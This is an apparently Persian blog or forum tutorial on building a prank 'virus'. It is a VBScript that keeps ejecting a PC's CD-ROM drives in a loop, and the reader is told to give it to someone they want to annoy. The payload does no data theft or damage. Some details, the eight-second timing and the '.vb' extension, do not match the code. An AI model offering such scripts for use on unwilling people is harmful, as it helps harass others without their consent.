ویروس باز و بسته شدن cdrom

با سلام خدمت دوستان.

امروز میخوام براتون اموزش ساخت یه ویروس ساده و بی خطر ولی جالب رو بهتون بدم که

باهاش سی دی رام رو هی باز و بسته کنین =))




خب برای ساخت این ویروس ابتدا کد های زیر رو توی نوت پد کپی کنین

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

خب این طوری سی دی رام هر هشت ثانیه باز و بسته میشه و برای عوض کردنش عدد

جلوی sleep رو تغییر بدین

بعد از کپی کردن فایل رو با پسوند .vb ذخیره کنید و به کسی که قصد اذیتشو دارین بدید 

و منتظر باشین تا اجراش کنه :))

برای غیر فعال کردن این ویروس هم میتونین از task manager غیر فعالش کنین یا یه

restart ساده کنید .


موفق باشین